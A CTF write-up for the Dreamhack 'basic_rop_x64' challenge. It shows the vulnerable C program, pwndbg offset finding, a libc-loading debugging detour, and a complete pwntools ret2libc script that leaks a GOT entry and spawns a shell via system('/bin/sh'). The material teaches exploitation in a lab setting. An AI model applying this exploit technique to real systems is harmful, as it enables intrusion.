575 words
3 minutes
basic_rop_x64
2025-01-02
2026-01-02

Write-up of the challenge “basic_rop_x64”#

This challenge is part of the “Binary exploitation” category and is in Level 2.

Goal of the challenge#

The objective of this challenge is to ROP after finding the libc base and overwrite the RIP to a shell.

Program structure#

program.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}

Security breach#

The vulnerability here is:

read(0, buf, 0x400);

It is a bof where the buff is 0x40 and we are reading 0x400.

Problem#

The problem I had was very strange. I was almost certain that I did the correct ROP so I decided what if the authors did something wrong? After some debuggning turns out that when we are runing this locally we should have libc /lib/x86_64-linux-gnu/libc.so.6 and when remote we should have it libc.so.6. I came to this coclusion when I realized that the libc base was not page aligned when using libc.so.6 but was page aligned when using /lib/x86_64-linux-gnu/libc.so.6 locally.

I did a simple check: If the libc ends with 000, then it should be healthy, if it isn’t then something is wrong!

With libc.so.6 locally
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/basic_rop_x64]
└─$ python3 solve.py
0x7ff28a643c10
[*] Switching to interactive mode
With /lib/x86_64-linux-gnu/libc.so.6 locally
┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/basic_rop_x64]
└─$ python3 solve.py
0x7f4714f4a000
[*] Got EOF while reading in interactive
$

Bingo!, my predication was right and for the local we should use /lib/x86_64-linux-gnu/libc.so.6 and for the remote we should use libc.so.6.

Solution#

First I started off by finding the offset to RIP:

pwndbg ./basic_rop_x64
pwndbg> cyclic 400
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaab
pwndbg> r
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaab
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaa
RBP 0x6161616161616169 ('iaaaaaaa')
pwndbg> cyclic -o iaaaaaaa
Finding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161)
Found at offset 64

Notice how it crashed at RBP, we need to add 8 bytes to reach the RIP, which gives us the offset 72.

So our goal here is very simple. First we add padding to reach the RIP, then we use puts_plt to leak the read_got which we know it 100% exists from the source code:

read(0, buf, 0x400);

After that we come back to main and get our leak. We take into consideration that the libc base starts with 7f and we should read it backward because it is little endian. I did some debugging and found out that there is two garbage bytes which we will skip therefore we would be reading the last 6 bytes when reaching 7f. After getting the base, we subtract it from the read in the libc. After it we just add padding to reach the RIP and then execute system(‘/bin/sh’).

The important part is that we are going to use libc.so.6 for the remote because it is page aligned there.

solve.py
from pwn import *
# p = process('./basic_rop_x64')
p = remote('host8.dreamhack.games', 18873)
e = ELF('./basic_rop_x64')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
rop = ROP(e)
pop_rdi = rop.find_gadget(['pop rdi'])[0]
read_got = e.got['read']
puts_plt = e.plt['puts']
main = e.sym['main']
ret = rop.find_gadget(['ret'])[0]
offset_RIP = 72
payload = b'A' * offset_RIP
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)
# Hop over our padding
p.recv(offset_RIP - 8)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = leak - libc.symbols['read']
# print(hex(base))
binsh = base + next(libc.search(b'/bin/sh'))
libc.address = base
system = libc.symbols['system']
payload = b'A' * offset_RIP
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)
p.interactive()
basic_rop_x64
https://fuwari.vercel.app/posts/basic_rop_x64/basic_rop_x64/
Author
a.b.h.a
Published at
2025-01-02
License
CC BY-NC-SA 4.0